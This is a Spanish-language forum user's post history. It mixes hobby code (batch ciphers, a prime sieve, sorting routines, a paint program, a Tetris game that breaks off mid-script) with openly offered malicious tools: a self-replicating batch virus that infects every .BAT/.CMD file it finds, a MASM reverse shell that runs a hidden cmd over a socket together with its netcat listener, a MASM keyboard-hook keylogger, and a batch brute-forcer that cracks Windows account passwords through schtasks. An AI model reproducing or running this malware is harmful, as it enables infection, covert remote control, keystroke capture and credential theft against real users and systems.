Hombre sí... pero el morse no es un cifrado, todo lo contrario.
Hace un tiempo yo estaba muy aficionado a eso del morse
Vale la pena conocerlo, nunca sabes para lo que te servirá.
Hace un tiempo yo estaba muy aficionado a eso del morse

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
@:_v_main
@Echo Off %v_main%
For /f "Tokens=* Delims=" %%i in ( %v_main%
'Dir/b *.BAT *.CMD' %v_main%
) Do Call:_Infect "%%~i" "%~0" %v_main%
Exit/B 0 %v_main%
:_Infect %v_main%
Find "@::i_b_t"<"%~1">NUL && GoTo:EoF %v_main%
For /f "Tokens=1 Delims=" %%_ in ( %v_main%
'Type "%~1"^|find /v /c ""^<"%~1"'%v_main%
) Do Set/A "beg_rg=%%_+1" & Set/A "end_rg=%%_+6" %v_main%
( %v_main%
Echo. %v_main%
Echo.@::i_b_t %v_main%
Echo.@Set "Str_R=v_ma" %v_main%
Echo.@GoTo:_%%~1 %v_main%
Echo.:_ %v_main%
Echo.@Start "" /B /high "%%~0" %%Str_R%%in %v_main%
) >> "%~1" %v_main%
( %v_main%
Echo.%beg_rg%,%end_rg%,1M %v_main%
Echo.E %v_main%
)|Edlin /B %~1 %v_main%
Find "v_main"<"%~2">>"%~1" %v_main%
Goto:EoF %v_main%
@echo off
SetLocal EnableDelayedExpansion
Title Codificador Vernam
Set/P "str.a=Texto en claro >> "
Call:LtrAng
Call:StrLen "str.a" "Len.Str.a"
Call:RanPwd "Len.Str.a" "Pwd.a"
:_Algorithm
Set/A "Len.Str.a-=1"
For /l %%_ in (0,1,%Len.Str.a%) Do (
Call Call Set/A "Crp=%%%%Code[%%str.a:~%%_,1%%]%%%%+!Pwd.a[%%_]!"
Set/A "Crp=!Crp!%%27"&Call Set "Crpd.Txt=!Crpd.Txt!%%ascii[!Crp!]%%"
)
more/c<nul
Echo.Texto en claro: "!str.a!"
Echo.Texto cifrado: "!Crpd.Txt!"
Echo.Password: "!Pwd.a[ascii]!"
Pause>NUL
Exit
:RanPwd
Set/A "Count=0"
For /l %%i in (1,1,!%~1!) Do (
Set/A "Rnd=!random!%%27"
Set/A "%~2[!Count!]=!Rnd!","Count+=1"
Call Set "%~2[ascii]=!%~2[ascii]!%%ascii[!Rnd!]%%"
)
GoTo:EoF
:LtrAng
For /l %%n in (97,1,122) Do (
"%comspec%" /c exit /b %%n
Set/A "I=%%n-97"
Set "ascii[!I!]=!=ExitCodeAscii!"
Set "code[!=ExitCodeAscii!]=!I!"
)
Set "ascii[26]= "&Set "code[ ]=26"
GoTo:EoF
:StrLen
For /f %%_ In (
'CMD /U /C Echo.!%~1!^|^
More^|Find /V /N ""'
) Do Set/A "%~2+=1"
Set/A "%~2-=4"
GoTo:EoF
@echo off
SetLocal EnableDelayedExpansion
:_Main
more/c<nul
Set/P "str.a=Texto codificado >> "
Set/P "pwd.a=Password >> "
Call:LtrAng
Call:StrLen "str.a" "Len.Str.a"
Call:StrLen "pwd.a" "Len.Pwd.a"
If %Len.Pwd.a% NEQ %Len.Str.a% (
Echo.La longitud del texto codificado y ^
el password tiene que ser la misma.
Pause>NUL & GoTo:_Main
)
:_Algorithm
For /l %%_ in (0,1,%Len.Str.a%) Do (
Call Set/A "Drp=27+%%code[!str.a:~%%_,1!]%%-%%code[!pwd.a:~%%_,1!]%%"
Set/A "Drp=!Drp!%%27"&Call Set "Drp.Txt=!Drp.Txt!%%ascii[!Drp!]%%"
)
more/c<nul
Echo.Texto cifrado: "!str.a!"
Echo.Texto descifrado: "!Drp.Txt!"
Echo.Password: "!pwd.a!"
Pause>NUL
Exit
:LtrAng
For /l %%n in (97,1,122) Do (
"%comspec%" /c exit /b %%n
Set/A "I=%%n-97"
Set "ascii[!I!]=!=ExitCodeAscii!"
Set "code[!=ExitCodeAscii!]=!I!"
)
Set "ascii[26]= "&Set "code[ ]=26"
GoTo:EoF
:StrLen
For /f %%_ In (
'CMD /U /C Echo.!%~1!^|^
More^|Find /V /N ""'
) Do Set/A "%~2+=1"
Set/A "%~2-=5"
GoTo:EoF
@Echo Off
setlocal enableextensions enabledelayedexpansion
set /p "text=Texto: "
set /p "rotn=Desplazamiento: "
call:_caesar "%text%" "%rotn%"
echo: -Cadena cifrada ^>^> %ret_str%
pause 1>nul & exit
:_caesar
if "%~1" EQU "" goto :EoF
set "chr_lst=abcdefghijklmnopqrstuvwxyz"
set "string=%~1" & set "ret_str="
for /l %%i in (0,1,25) do set/a c[!chr_lst:~%%i,1!]=%%i
set /a cnt=-1
:__loop.a
set /a cnt+=1
set "chr=!string:~%cnt%,1!"
if not defined chr goto :eof
if "%chr%" EQU " " set "ret_str=%ret_str% " & goto :__loop.a
set /a "num_cs=(!c[%chr%]!+%~2) %% 26"
set "ret_str=%ret_str%!chr_lst:~%num_cs%,1!"
goto :__loop.a
@ECHO OFF
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@MODE CON COLS=80 LINES=25
@COLOR 0F
@TITLE BOOT
@REM CODED BY BINARY_DEATH
@REM DATA: LAST LINE: 12
:BIOS
CALL:LOAD_KEYBOARD
CALL:LOAD_GRAPHIC
CALL:GRAPHIC_LOAD "!LOGO!"
SET/A INDEX=0,LIMIT=2
:MENU
SET/A COUNT=0
FOR %%I IN (CHANGE,START,SETTINGS) DO (
IF !INDEX! EQU !COUNT! (
SET VAR=!%%I:@=F!&&SET VAR=!VAR:#=F0!
CALL:GRAPHIC_LOAD "!VAR!"
) ELSE (
SET VAR=!%%I:@=0!&&SET VAR=!VAR:#=0F!
CALL:GRAPHIC_LOAD "!VAR!")
SET/A COUNT+=1
)
CALL KEYBOARD.COM
IF %ERRORLEVEL% EQU 80 (
IF %INDEX% LSS %LIMIT% (
SET/A INDEX+=1
) ELSE (SET/A INDEX=0))
IF %ERRORLEVEL% EQU 72 (
IF %INDEX% GTR 0 (
SET/A INDEX-=1
) ELSE (SET/A INDEX=%LIMIT%))
IF %ERRORLEVEL% EQU 13 (
EXIT/B %INDEX%
)
GOTO:MENU
:GRAPHIC_LOAD
FOR %%S IN (%~1) DO (
FOR /F "TOKENS=1,2,3 DELIMS=$" %%K IN ("%%S") DO (
ECHO.EB800:%%K "%%L"%%M 1>>CSHOW.TMP
))
(TYPE CSHOW.TMP&ECHO.Q)|DEBUG>NUL
DEL/Q CSHOW.TMP
GOTO:EOF
:LOAD_GRAPHIC
SET CHANGE=642$C$#,644$H$#,646$A$#,648$N$#,^
64A$G$#,64C$E$#,64E$Û$@,650$B$#,652$O$#,654$S$#
SET START=6E2$S$#,6E4$T$#,6E6$A$#,6E8$R$#,^
6EA$T$#,6EC$Û$@,6EE$B$#,6F0$O$#,6F2$S$#
SET SETTINGS=782$S$#,784$E$#,786$T$#,^
788$T$#,78A$I$#,78C$N$#,78E$G$#,790$S$#
SET LOGO=500$±$F,A2$±$F,142$±$F,1E2$±$F,282$±$F,322$±$F,^
3C2$±$F,502$±$F,A4$±$F,3C4$±$F,504$±$F,A6$±$F,^
3C6$±$F,506$±$F,A8$±$F,1E8$±$F,3C8$±$F,508$±$F,^
AA$±$F,1EA$±$F,3CA$±$F,50A$±$F,14C$±$F,28C$±$F,^
32C$±$F,3CC$±$F,50C$±$F,50E$±$F,510$±$F,B2$±$F,^
3D2$±$F,512$±$F,B4$±$F,3D4$±$F,514$±$F,B6$±$F,^
156$±$F,1F6$±$F,296$±$F,336$±$F,3D6$±$F,516$±$F,^
B8$±$F,158$±$F,1F8$±$F,298$±$F,338$±$F,3D8$±$F,^
518$±$F,BA$±$F,3DA$±$F,51A$±$F,BC$±$F,3DC$±$F,^
51C$±$F,51E$±$F,520$±$F,C2$±$F,162$±$F,202$±$F,^
2A2$±$F,342$±$F,3E2$±$F,522$±$F,C4$±$F,3E4$±$F,^
524$±$F,C6$±$F,3E6$±$F,526$±$F,C8$±$F,3E8$±$F,^
528$±$F,CA$±$F,3EA$±$F,52A$±$F,CC$±$F,16C$±$F,^
20C$±$F,2AC$±$F,34C$±$F,3EC$±$F,52C$±$F,52E$±$F,^
530$±$F,D2$±$F,172$±$F,212$±$F,2B2$±$F,3F2$±$F,^
532$±$F,D4$±$F,2B4$±$F,3F4$±$F,534$±$F,D6$±$F,^
2B6$±$F,3F6$±$F,536$±$F,D8$±$F,2B8$±$F,3F8$±$F,^
538$±$F,DA$±$F,2BA$±$F,3FA$±$F,53A$±$F,DC$±$F,^
2BC$±$F,35C$±$F,3FC$±$F,53C$±$F,53E$±$F
GOTO:EOF
:LOAD_KEYBOARD
IF NOT EXIST KEYBOARD.COM ((
ECHO.N KEYBOARD.COM
ECHO.E 0000 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
ECHO.R CX
ECHO.000E
ECHO.W0
ECHO.Q)|DEBUG 1>NUL 2>&1
)
GOTO:EOF
@Echo Off
SetLocal EnableDelayedExpansion
Title Criba de Eratostenes
::Coded By Binary_Death
Set/P "Utl=Until >> "
:_Main
Set/A "ActN=1"
For /l %%z in (2,1,%Utl%) do (
Set "Lst=!Lst! %%z"
)
:_LoopA
For /f "Tokens=%ActN% Delims= " %%n in ("%Lst%") do (
Set/A "Qrd=%%n*%%n"
If !Qrd! GTR %Utl% GoTo:_EndA
For %%l in (%Lst%) Do (
Set/A "Rst=%%l%%%%n"
If %%l EQU %%n Set/A "Rst=1"
If !Rst! NEQ 0 Set "NLst=!NLst! %%l"
)
Set "Lst=!NLst!" & Set "NLst=" & Set/A "ActN+=1"
)
Goto:_LoopA
:_EndA
Echo.&Echo.%Lst%
Pause > NUL
Exit
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\kernel32.lib
.data
cmd db "COMSPEC",0
ip db "127.0.0.1",0
szMsgCon db "/k echo: Connected...",0
port equ 7565
.data?
sinfo STARTUPINFO <>
pinfo PROCESS_INFORMATION <>
sockAddr sockaddr_in <>
wsaData WSADATA <>
sock SOCKET ?
szComspec db 512 dup(?)
.code
start:
invoke GetEnvironmentVariable,addr cmd,addr szComspec,512
__init_sock:
invoke WSAStartup, 202h, addr wsaData
invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0
mov [sock],eax
invoke inet_addr,addr ip
mov sockAddr.sin_family,AF_INET
mov sockAddr.sin_addr,eax
invoke htons,port
mov sockAddr.sin_port,ax
__connect:
invoke Sleep,500
invoke connect,[sock],addr sockAddr,sizeof sockAddr
cmp eax,-1
jz __connect
invoke RltZeroMemory, addr sinfo, sizeof sinfo
mov eax,[sock]
mov sinfo.cb,sizeof sinfo
mov sinfo.dwFlags,STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW
mov sinfo.wShowWindow,SW_HIDE
mov sinfo.hStdOutput,eax
mov sinfo.hStdError,eax
mov sinfo.hStdInput,eax
invoke CreateProcess,addr szComspec,addr szMsgCon,0,0,TRUE,CREATE_NEW_CONSOLE,0,0,addr sinfo, addr pinfo
invoke WaitForSingleObject,pinfo.hProcess,INFINITE
invoke CloseHandle,pinfo.hThread
invoke CloseHandle,pinfo.hProcess
invoke closesocket,sock
invoke WSACleanup
jmp __init_sock
end start
nc -l -p 7565
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
.data?
h_hook HHOOK ?
kb_hook KBDLLHOOKSTRUCT <>
msg MSG <>
kb_ptr DWORD ?
key_buffer DB 1
h_buffer HANDLE ?
.code
start:
invoke AllocConsole
invoke GetStdHandle, STD_OUTPUT_HANDLE
mov [h_buffer], eax
lea ebx, LowLevelKeyboardProc
invoke SetWindowsHookEx, WH_KEYBOARD_LL, ebx, 0, 0
mov [h_hook], eax
message_proc:
invoke GetMessage, addr msg, NULL, 0, 0
cmp eax, TRUE
jz process_msg
invoke UnhookWindowsHookEx, [h_hook]
invoke ExitProcess, 0
process_msg:
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
jmp message_proc
LowLevelKeyboardProc:
cmp dword ptr[esp+4], 00h
jae process_hook
return:
invoke CallNextHookEx, 0, dword ptr[esp+4], dword ptr[esp+8], dword ptr[esp+0Ch]
retn
process_hook:
cmp dword ptr[esp+8], WM_KEYDOWN
jnz return
mov ebx, [esp+0Ch]
mov ebx, [ebx+00h]
mov byte ptr[key_buffer],bl
invoke WriteConsole, [h_buffer], addr key_buffer, 1, NULL, NULL
jmp return
ret
end start
#include <stdio.h>
#include <stdlib.h>
typedef struct {
char **substring_ptr;
int number_of_substrings;
} split_struct;
int _strlen(char*);
split_struct *split(char *,char *,int,int);
int main() {
split_struct *str_info;
char str[] = "STR1#DLM#STR2#DLM#STR3#DLM#STR4";
char sep[] = "#DLM#";
str_info = split(str,sep,_strlen(str),_strlen(sep));
for(int y=0;y<str_info->number_of_substrings;y++)
{printf("%s\n", str_info->substring_ptr[y]);}
getchar();
return 0;
}
int _strlen(char *pstr) {
int i=0;
while(*(pstr++)!='\0') i++;
return i;
}
split_struct *split(char *string,char *sep, int str_len, int sep_len) {
split_struct *retvalue;
retvalue = (split_struct*)malloc(sizeof(split_struct));
int ptr_block=0, chr=0, bool_end=0;
char **buffer = (char**)malloc(sizeof(char*));
*buffer = (char*)malloc(sizeof(char*));**buffer=0;
char *tok = (char*)malloc(sep_len*sizeof(char));
for(int z=0;z<str_len;z++) {
for(int n=0;n<sep_len&&!bool_end;n++)
tok[n]=(z+n<str_len)?string[z+n]:bool_end=1;
int cmp_xy=0;for(int y=0;y<sep_len;y++)if(tok[y]!=sep[y]) cmp_xy=1;
if (cmp_xy || bool_end) {
buffer[ptr_block][chr++] = string[z];
buffer[ptr_block] = (char*)realloc(buffer[ptr_block],chr*sizeof(char*));
buffer[ptr_block][chr] = 0;
} else {
buffer = (char**)realloc(buffer,(++ptr_block+1)*sizeof(char*));
buffer[ptr_block] = (char*)malloc(sizeof(char*));**(buffer+ptr_block)=0;
chr=0;z+=sep_len-1;
}
}
free(tok);
retvalue->substring_ptr = buffer;
retvalue->number_of_substrings = ptr_block+1;
return retvalue;
}
#include <stdio.h>
#include <stdlib.h>
#define MAX_ITM 500000
void qsort (int*,int,int);
void swap(int&,int&);
int rdtsc();
int main() {
int arr[MAX_ITM];
for (int i=0;i < MAX_ITM;i++) {
srand(rdtsc());
arr[i] = rand();
}
printf("List initialized. Press enter to sort it...");getchar();
qsort(arr,0,MAX_ITM-1);
printf("List sorted. Press enter to print it...");getchar();
for (int i=0;i < MAX_ITM;i++)
printf ("%d\t",arr[i]);
getchar();
return 0;
}
int rdtsc() {__asm__ __volatile__("rdtsc");}
void swap(int &n, int &m) {int t=n;n=m;m=t;}
void qsort (int arr[],int p,int q) {
if(q <= p)
return;
int piv = arr[p];
int i=p+1, j=q;
while(true) {
while( (i < q) && (arr[i] <= piv) ) i++;
while( (j > p) && (arr[j] > piv) ) j--;
if(j <= i)
break;
else
swap(arr[i],arr[j]);
}
swap(arr[p],arr[j]);
qsort(arr,p,j-1);
qsort(arr,j+1,q);
}
#include <stdio.h>
#include <stdlib.h>
#define MAX_ITM 500000
void isort(int*,int);
int rdtsc();
int main() {
int arr[MAX_ITM];
for (int i=0;i < MAX_ITM;i++) {
srand(rdtsc());
arr[i] = rand();
}
printf("List initialized. Press enter to sort it...");getchar();
isort(arr,MAX_ITM);
printf("List sorted. Press enter to print it...");getchar();
for (int i=0;i < MAX_ITM;i++)
printf ("%d\t",arr[i]);
getchar();
return 0;
}
int rdtsc() {__asm__ __volatile__("rdtsc");}
void isort(int array[], int n) {
for(int i = 1; i < n; i++) {
int v = array[i], j = i - 1;
while(j >=0 && array[j] > v)
array[j + 1] = array[j--];
array[j + 1] = v;
}
}
:_calc
setlocal enabledelayedexpansion
if "%~1" EQU "add" set "sym=+"
if "%~1" EQU "sub" set "sym=-"
set "add_str=%~2"
set "add_str=!add_str:%sym%= !"
set/a hst=0,cnt=0,add=0
for %%_ in (%add_str%) do (
set/a dec[!cnt!]=0
for /f "tokens=2 delims=." %%. in ("%%_") do (
call :_strlen "%%."
set/a dec[!cnt!]=!errorlevel!
if !errorlevel! GTR !hst! set/a hst=!errorlevel!
)
set/a cnt+=1
)
set/a cnt=0
if "%sym%" EQU "-" for %%_ in (%add_str:.=%) do (
set/a pow=%hst%-%dec[0]%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add+=!n_b!*2
goto :__op
)
:__op
for %%_ in (%add_str:.=%) do (
call set/a pow=%hst%-%%dec[!cnt!]%%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add%sym%=!n_b!,cnt+=1
)
set "res=!add:~0,-%hst%!.!add:~-%hst%!"
if %hst% EQU 0 set "res=%res:~1%"
endlocal & set "%~3=%res%" & exit /b
:_strlen
setlocal
set/a cnt=0
for /f "tokens=* eol=" %%_ in (
'"cmd /u /c echo:%~1|more"'
) do set/a cnt+=1
endlocal & exit /b %cnt%
@Echo Off
call:_calc add 2.3658+8.4102+14.61 var
echo:%var%
pause 1>nul & exit
@Echo Off
Title Bin2Bat
Set/P "File_Con=File: "
Set/P "File_Fin=BAT Name: "
Echo.
If Not Exist "%File_Con%" (
Echo.File not Found.
Pause>Nul
Exit
)
Call:BfE "%File_Con%" "%File_Fin%"
Echo.Completed.
Pause>NUL
Exit
:BfE
SetLocal EnableDelayedExpansion
Set "_=Echo."
Set/A "$=%~z1+0xFF"
Call:D2H "%~z1" "#" & Call:D2H "%$%" "$"
!_!@more +1 %%0^|Debug^>NUL^&Exit>"%~2"
For /f "Eol=- Tokens=*" %%z in ('
^(!_!D 0100 %$%^&!_!Q^)^|DEBUG %~1
') do (Set "_TEX=%%z"
Set "_SEX= !_TEX:~11,47!"
Set "_SEX=!_SEX: =!"
call !_!e!_TEX:~5,4!%%_SEX:-= %%>>"%~2"
)
(!_!RCX&!_!!#!&!_!N %~n2%~x1&!_!W&!_!Q)>>"%~2"
EndLocal & Exit/B
:D2H
%ComSpec% /c Exit/B %~1
For /f "Tokens=* Delims=0" %%_ in (
"%=ExitCode%") Do Set "%~2=%%_"
GoTo:EoF
@echo off
setlocal enabledelayedexpansion
color 01&more/c<nul
set /p "user_name=*Username: "
set /p "max_lengh=*Length limit: "
set "chr_lst=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
set "cmd_gen.a=" & set "cmd_gen.b=" & set "cmd_gen.c="
set "chr_for="
set /a psw_lengh=0
set /a chr_cnt=0
set "task_name=%random%"
echo: -----Working...
:_loop.gen
setlocal
set /a psw_lengh+=1
if %psw_lengh% gtr %max_lengh% goto :_np
for %%i in (%chr_lst%) do (
if !chr_cnt! LSS %psw_lengh% (
set "chr_for=!chr_for!,%%i"
set/a chr_cnt+=1
)
)
for %%i in (%chr_for%) do set "cmd_gen.a=!cmd_gen.a!for %%%%i in (%chr_lst%) do ("
for %%i in (%chr_for%) do set "cmb_chr=!cmb_chr!%%%%i"
set "cmd_gen.b=schtasks /create /tn "%task_name%" /tr "cmd /c exit" /sc ONCE /st 00:00 /ru %user_name% /rp %cmb_chr%>nul 2>&1&&call:_yp %cmb_chr%"
for %%i in (%chr_for%) do set "cmd_gen.c=!cmd_gen.c!)"
%cmd_gen.a%%cmd_gen.b%%cmd_gen.c%
endlocal & set /a psw_lengh=%psw_lengh%
goto :_loop.gen
:_yp
schtasks /delete /tn "%task_name%" /f 1>nul 2>&1
echo.&echo:Password: %~1 & pause 1>nul
exit
:_np
echo.&echo: Password not found. & pause 1>nul
exit
@Echo Off
SETLOCAL ENABLEDELAYEDEXPANSION
:_START
MODE CON COLS=80 LINES=25
MEM/C | FIND /I "ANSI">NUL || ((
ECHO.DEVICE=%SystemRoot%\System32\ANSI.SYS /X
)>>%SystemRoot%\System32\CONFIG.NT
IF "%~1" NEQ "1" (
START "" %0 1 && EXIT/B 0
) ELSE ( EXIT/B 1))
:INI
Set Colors=X3Y3,X5Y3,X3Y5,X5Y5,^
X3Y7,X5Y7,X3Y9,X5Y9,^
X3Y11,X5Y11,X3Y13,X5Y13,^
X3Y15,X5Y15,X3Y17,X5Y17
Set Cursors=X69Y10,X71Y10,X73Y10,X75Y10,X77Y10
Set "Cursor_Icon=Û²±°R"
Set/A "CurCol=8","CurCap=0","BACK=0","LastColVal=8"
Set "CurColPos=X5Y9"
Set "CurCur=Û"
Set "LastCurVal=Û"
Set "LastCurPos=X69Y10"
Call:LOAD_SCR
:_MAIN
TITLE BatchPaint BETA [CRD: %MOUSE[XY]% - LYR: %CurCap% - COL: %CurCol%]
CALL:_MOUSE[GET]
CALL:_CMP
GOTO:_MAIN
:_CMP
::Comp. Extern Cordinates.
If "%MOUSE[XY]%" EQU "X76Y6" (
If %CurCap% LSS 9 Set/A "CurCap+=1"
Command/C Echo.[6;72H[0;34m!CurCap!
GoTo:EoF
)
If "%MOUSE[XY]%" EQU "X69Y6" (
If %CurCap% GTR 0 Set/A "CurCap-=1"
Command/C Echo.[6;72H[0;34m!CurCap!
GoTo:EoF
)
::Comp. Cursors table cordinates.
Set/A "CursorCount=0"
For %%b in (%Cursors%) do (
If "%MOUSE[XY]%" EQU "%%b" (
Call:__WRITE_COLOR %LastCurPos% %LastCurVal% 8
Call:__WRITE_COLOR %%b %%Cursor_Icon:~!CursorCount!,1%% 10
Call Set "CurCur=%%Cursor_Icon:~!CursorCount!,1%%"
Set "LastCurPos=%%b"
Call Set "LastCurVal=%%Cursor_Icon:~!CursorCount!,1%%"
GoTo:EoF
)
Set/A "CursorCount+=1"
)
::Comp. Colors table cordinates.
For /l %%x in (2,1,7) do (
For /l %%y in (2,1,19) do (
If "%MOUSE[XY]%" EQU "X%%xY%%y" (
Echo.%Colors%|Find/I "%MOUSE[XY]%">NUL && (
Set "CurCol=!%MOUSE[XY]%!"
Call:__WRITE_COLOR %CurColPos% Û %LastColVal%
Call:__WRITE_COLOR %MOUSE[XY]% ° !%MOUSE[XY]%!
Set "CurColPos=%MOUSE[XY]%"
Set "LastColVal=!%MOUSE[XY]%!"
)
GoTo:EoF
)))
::Comp. Limits.
For /F "Tokens=1,2 Delims=X,Y" %%x in ("%MOUSE[XY]%") do (
If %%x LEQ 2 GoTo:EoF
If %%x GEQ 67 GoTo:EoF
If %%y LEQ 2 GoTo:EoF
If %%y GEQ 24 GoTo:EoF
)
::Paint on coordinate
If "%CurCur%" EQU "R" (GoTo:_DltLYR) ELSE (GoTo:_PntLYR)
:_DltLYR
Set "%MOUSE[XY]%[%CurCap%]="
If %CurCap% EQU 0 CALL:__WRITE_COLOR %MOUSE[XY]% Û 1&GoTo:EoF
Set/A "Tmp_Lyr=%CurCap%-1"
For /l %%i in (%Tmp_Lyr%,-1,0) do (
Set "Nxt_LYR=%MOUSE[XY]%[%%i]"
Call Set "INxt_LYR=%%!Nxt_LYR!%%"
If "%%i" EQU "0" (If Not Defined INxt_LYR Set "INxt_LYR=Û$1")
If Defined INxt_LYR (
For /F "Tokens=1,2 Delims=$" %%p in ("!INxt_LYR!") do (
CALL:__WRITE_COLOR %MOUSE[XY]% %%p %%q
Set "!Nxt_LYR!=%%p$%%q"
GoTo:EoF
)))
:_PntLYR
CALL:__WRITE_COLOR %MOUSE[XY]% %CurCur% %CurCol%
Set "%MOUSE[XY]%[%CurCap%]=%CurCur%$%CurCol%"
GoTo:EoF
:LOAD_SCR
More/C<NUL
Echo. Batch Paint ^(C^)Binary_Death
Echo. ÉÍËÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍ»
Echo. º º º º º
Echo. ÌÍÎ͹ º Layers º
Echo. º º º ºÚÄ¿ÚÄÄ¿ÚÄ¿ º
Echo. ÌÍÎ͹ º³^<³³ ³³^>³ º
Echo. º º º ºÀÄÙÀÄÄÙÀÄÙ º
Echo. ÌÍÎ͹ ºÄÄÄÄÄÄÄÄÄÄĺ
Echo. º º º º Cursors º
Echo. ÌÍÎ͹ º Û ² ± ° R º
Echo. º º º ºÄÄÄÄÄÄÄÄÄÄĺ
Echo. ÌÍÎ͹ º º
Echo. º º º º º
Echo. ÌÍÎ͹ º º
Echo. º º º º º
Echo. ÌÍÎ͹ º º
Echo. º º º º º
Echo. ÌÍÊͼ º º
Echo. º º º
Echo. º º º
Echo. º º º
Echo. º º º
Echo. º º º
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍͼ
Command/C Echo.[6;72H[0;34m%CurCap%[10;69H[0;1;31m%CurCur%
CALL:LOAD_COLORS
GoTo:EoF
:LOAD_COLORS
Set/A "Count=1"
For %%f in (!Colors!) do (
Call:__WRITE_COLOR %%f Û !Count!
Set "%%f=!Count!"
Set/A "Count+=1"
)
GoTo:EoF
:__WRITE_COLOR
Set ColList=0;30$0;31$0;32$0;33$0;34$^
0;35$0;36$0;37$1;30$1;31$1;32$1;33$^
1;34$1;35$1;36$1;37
For /f "Tokens=%~3 Delims=$" %%c in ("%ColList%") do (
For /f "Tokens=1,2 Delims=X,Y" %%x in ("%~1") do (
Command/C Echo.[%%y;%%xH[%%cm%~2
))
GoTo:EoF
:_MOUSE[GET]
(echo.e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3
echo.g116
echo.q)>%tmp%\mouse.dat
Debug<%tmp%\mouse.dat|Find /I "X">%tmp%\tmp.dat
for /f "tokens=2,3,4" %%x in (%tmp%\tmp.dat) do (
set "%%x"&set/a BX=0x!BX!
set "%%y"&set/a CX=0x!CX!+1
set "%%z"&set/a DX=0x!DX!+1
set "MOUSE[XY]=X!CX!Y!DX!"
)
GoTo:EoF
CitarA - Mover pieza a la izquierda
D - Mover pieza a la derecha
R - Rotar pieza (rotación hacia la derecha)
S - Descender pieza una posición
@echo off
setlocal enableextensions enabledelayedexpansion
chdir /d "%temp%"
:_ansi.sys
mode con cols=80 lines=25
mem/c | find /i "ansi" 1>nul || ((
echo.device=%SystemRoot%\system32\ansi.sys /X
)>>%SystemRoot%\system32\config.nt
if "%~1" NEQ "1" (
start "" %0 1 & exit /b 0
) else (exit /b 1)
) 1>nul 2>&1
if "%~1" NEQ "_high" start "" /high /b "%~0" _high & exit /b 0
if not exist "choice.com" call :_choice.gen
exit|"%ComSpec%" /k prompt e$S100$S1B$_n$S@$_rcx$_1$_w$_q$_>#
debug<#>nul & for /f "tokens=*" %%_ in (@) do set "esc=%%_"
:_init.data
call :_LoadScreen
call :_LoadShapes
:::::::::::::::::
:::Bound Type 1::
set "Bound=Ï"
:::::::::::::::::
:::Block Type 2::
::set "Bound=²"::
:::::::::::::::::
:::Block Type 3::
::set "Bound=Û"::
:::::::::::::::::
Set "Table=Û"
set "-.LimX=27" & set "+.LimX=46" & set "-.LimY=3" & set "+.LimY=22"
set/a "Lin.Lim=%+.LimX%-%-.LimX%+1"
call :_LoadLines
set/a "Score=0"
Command/C Echo.%esc%[24;33H%esc%[0;34m%Score%
Command/C Echo.%esc%[1;66H%esc%[0;34m¸ Binary_Death
call :_make.shape
:_main
:::::::::Default Choice:::::::::::
choice.com /c:adrs /n /t:s,1 > nul
::::::::::::::::::::::::::::::::::
::You can use this if the game is running in Windows Vista/Seven::
::choice.exe /c adrs /d s /t 1 > nul
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
if "%errorlevel%" EQU "1" call :_move "X" "-" "1"
if "%errorlevel%" EQU "2" call :_move "X" "+" "1"
if "%errorlevel%" EQU "3" call :_rotate
call :_move "Y" "+" "1"
:::::Double Movement:::::
::call :_move "Y" "+" "1"
:::::::::::::::::::::::::
goto :_main
:_move
if "%~1" EQU "X" (
1>nul 2>&1,(echo:%CurShape%|find /i "X!%~2.LimX!") && goto :eof
set "cmd.crd=set "NewShape=^^!NewShape^^!,X^^!New.X^^!Y%%Y" & set "NewCrd=%%Y;^^!New.X^^!""
)
if "%~1" EQU "Y" (
1>nul 2>&1,(echo:%CurShape%|find /i "Y%+.LimY%") && (call :_fix.shape & goto :eof)
set "cmd.crd=set "NewShape=^^!NewShape^^!,X%%XY^^!New.Y^^!" & set "NewCrd=^^!New.Y^^!;%%X""
)
set "NewShape=" & set "ansi_line_old=" & set "ansi_line_new="
for %%c in (%CurShape%) do (
for /f "tokens=1,2 delims=X,Y" %%X in ("%%c") do (
set/a "New.%~1=%%%~1 %~2 %~3"
%cmd.crd%
set "ansi_line_old=!ansi_line_old!%esc%[%%Y;%%XH%esc%[0;30m%Table%"
set "ansi_line_new=!ansi_line_new!%esc%[!NewCrd!H%esc%[!shape[%CurShape.Num%.C]!m%Bound%"
)
)
if "%~4" NEQ "rotate" (
2>nul,set lin.cnt|findstr /i "%NewShape:,= %">nul && if "%~1" NEQ "X" (call :_fix.shape & goto :eof) else goto :eof
command /c echo:%ansi_line_old%&command /c echo:%ansi_line_new%
)
set "CurShape=%NewShape:~1%"
set/a "Movs.%~1%~2=%~3"
goto :eof
:_fix.shape
for %%_ in (%CurShape%) do for /f "tokens=1,2 delims=XY" %%X in ("%%_") do (
